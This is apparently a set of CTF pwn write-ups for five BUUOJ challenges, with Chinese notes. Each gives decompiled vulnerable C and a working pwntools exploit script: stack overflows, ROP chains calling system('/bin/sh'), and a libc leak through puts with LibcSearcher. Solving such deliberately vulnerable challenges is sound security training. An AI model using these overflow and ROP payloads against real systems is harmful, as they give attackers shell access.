ciscn_2019_n_8
int __cdecl main(int argc, const char **argv, const char **envp)
{
int v4; // [esp-14h] [ebp-20h]
int v5; // [esp-10h] [ebp-1Ch]
var[13] = 0;
var[14] = 0;
init();
puts("What's your name?");
__isoc99_scanf("%s", var, v4, v5);
if ( *(_QWORD *)&var[13] )
{
if ( *(_QWORD *)&var[13] == 17LL )
system("/bin/sh");
else
printf(
"something wrong! val is %d",
var[0],
var[1],
var[2],
var[3],
var[4],
var[5],
var[6],
var[7],
var[8],
var[9],
var[10],
var[11],
var[12],
var[13],
var[14]);
}
else
{
printf("%s, Welcome!\n", var);
puts("Try do something~");
}
return 0;
}
from pwn import *
url, port = "node4.buuoj.cn", 27652
filename = "./ciscn_2019_n_8"
elf = ELF(filename)
# libc = ELF("")
debug = 1
if debug:
context.log_level="debug"
io = process(filename)
# gdb.attach(io)
else:
io = remote(url, port)
# payload = b'\x11' * 14
payload = p32(0x11) * 14
io.sendlineafter("What's your name?\n", payload)
io.interactive()
卡点
var数组是dd类型, 即4字节, 所以需要打包为4字节发送
payload = b'\x11' * 14 # error
payload = p32(0x11) * 14 # correct
jarvisoj_level2
做过了, 直接帖链接
https://blog.csdn.net/qq_33976344/article/details/118303938
from pwn import *
filename = "./level2"
url, port = "node4.buuoj.cn", 25078
elf = ELF(filename)
# libc = ELF("")
debug = 0
if debug:
context.log_level="debug"
io = process(filename)
gdb.attach(io)
else:
io = remote(url, port)
sys_addr = elf.symbols["system"]
binsh_addr = next(elf.search(b"/bin/sh"))
payload = cyclic(0x88 + 4) + p32(sys_addr) + cyclic(4) + p32(binsh_addr)
io.sendlineafter("Input:\n", payload)
io.interactive()
ciscn_2019_en_2
思路同ciscn_2019_c_1
https://blog.csdn.net/qq_33976344/article/details/116837677
先泄露libc, 接Ubuntu18的64位ROP
from pwn import *
from LibcSearcher import *
url, port = "node4.buuoj.cn", 26528
filename = "./ciscn_2019_en_2"
elf = ELF(filename)
# libc = ELF("")
debug = 0
if debug:
context.log_level="debug"
io = process(filename)
gdb.attach(io)
else:
io = remote(url, port)
def encrypt(payload):
payload_enc = []
for c in payload:
if c <= 96 or c > 122:
if c <= 64 or c > 90:
if c > 47 and c <= 57:
c ^= 0xF
else: c ^= 0xE
else: c ^= 0xD
payload_enc.append(chr(c))
return "".join(payload_enc)
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
pop_rdi_ret_addr = 0x0000000000400c83
ret_addr = 0x00000000004006b9
encrypt_addr = 0x00000000004009A0
pad = 0x50
payload1 = cyclic(pad + 8) + p64(pop_rdi_ret_addr) + p64(puts_got) + p64(puts_plt) + p64(encrypt_addr)
payload1 = encrypt(list(payload1))
io.recvuntil('Input your choice!\n')
io.sendline('1')
io.recvuntil('Input your Plaintext to be encrypted\n')
io.sendline(payload1)
io.recvuntil('Ciphertext\n')
io.recvuntil('\n')
puts_addr = u64(io.recvuntil('\n', drop=True).ljust(8, b'\x00'))
io.recvuntil('Input your Plaintext to be encrypted\n')
libc = LibcSearcher('puts', puts_addr)
libc_base = puts_addr - libc.dump('puts')
system_addr = libc_base + libc.dump('system')
bin_sh_addr = libc_base + libc.dump('str_bin_sh')
payload2 = cyclic(pad + 8) + p64(ret_addr) + p64(pop_rdi_ret_addr) + p64(bin_sh_addr) + p64(system_addr)
io.sendline(payload2)
io.interactive()
bjdctf_2020_babystack
int __cdecl main(int argc, const char **argv, const char **envp)
{
char buf[12]; // [rsp+0h] [rbp-10h] BYREF
size_t nbytes; // [rsp+Ch] [rbp-4h] BYREF
setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stdin, 0LL, 1, 0LL);
LODWORD(nbytes) = 0;
puts("**********************************");
puts("* Welcome to the BJDCTF! *");
puts("* And Welcome to the bin world! *");
puts("* Let's try to pwn the world! *");
puts("* Please told me u answer loudly!*");
puts("[+]Are u ready?");
puts("[+]Please input the length of your name:");
__isoc99_scanf("%d", &nbytes);
puts("[+]What's u name?");
read(0, buf, (unsigned int)nbytes);
return 0;
}
把length设很大, 栈溢出, ROP调用system("/bin/sh")
from pwn import *
url, port = "node4.buuoj.cn", 29570
filename = "./bjdctf_2020_babystack"
elf = ELF(filename)
# libc = ELF("")
debug = 0
if debug:
context.log_level="debug"
io = process(filename)
# gdb.attach(io)
else:
io = remote(url, port)
system_addr = elf.sym['system']
binsh_addr = next(elf.search(b'/bin/sh'))
ret_addr = 0x0000000000400561
pop_rdi_add = 0x0000000000400833
payload = cyclic(0x10 + 8) + p64(ret_addr) + p64(pop_rdi_add) + p64(binsh_addr) + p64(system_addr)
io.sendlineafter("name:\n", "100")
io.sendlineafter("u name?\n", payload)
io.interactive()
not_the_same_3dsctf_2016
int __cdecl main(int argc, const char **argv, const char **envp)
{
char v4[45]; // [esp+Fh] [ebp-2Dh] BYREF
printf("b0r4 v3r s3 7u 4h o b1ch4o m3m0... ");
gets(v4);
return 0;
}
int get_secret()
{
int v0; // esi
v0 = fopen("flag.txt", &unk_80CF91B);
fgets(&fl4g, 45, v0);
return fclose(v0);
}
栈溢出到返回到get_secret()
from pwn import *
from pwnlib.util.cyclic import cyclic
url, port = "node4.buuoj.cn", 27471
filename = "./not_the_same_3dsctf_2016"
elf = ELF(filename)
# libc = ELF("")
debug = 0
if debug:
context.log_level="debug"
io = process(filename)
# gdb.attach(io)
else:
io = remote(url, port)
get_secret_addr = elf.sym['get_secret']
fl4g_addr = 0x080ECA2D
write_addr = elf.sym['write']
payload = cyclic(0x2D) + p32(get_secret_addr) + p32(write_addr) + cyclic(4) + p32(1) + p32(fl4g_addr) + p32(45)
# io.sendlineafter("b0r4 v3r s3 7u 4h o b1ch4o m3m0... ", payload)
io.sendline(payload)
io.interactive()
卡点
相当然以为劫持到后门函数就会将flag打印出来, 仔细分析发现其实flag.txt的内容读取到了bss段的一个变量上, 所以需要write(1, fl4g, 45)
打印flag, 需要用到rop
其次, 这个程序比较迷惑, 按sendlineafter是接收不到"b0r4 v3r s3 7u 4h o b1ch4o m3m0... "
这个奇怪的字符串的, 只好用sendline而不管接收
# io.sendlineafter("b0r4 v3r s3 7u 4h o b1ch4o m3m0... ", payload)
io.sendline(payload)
最后32位程序的rop与64位程序的rop注意区别, write与之后的三个参数之间隔一个返回地址所以需要填个4字节
payload = cyclic(0x2D) + p32(get_secret_addr) + p32(write_addr) + cyclic(4) + p32(1) + p32(fl4g_addr) + p32(45)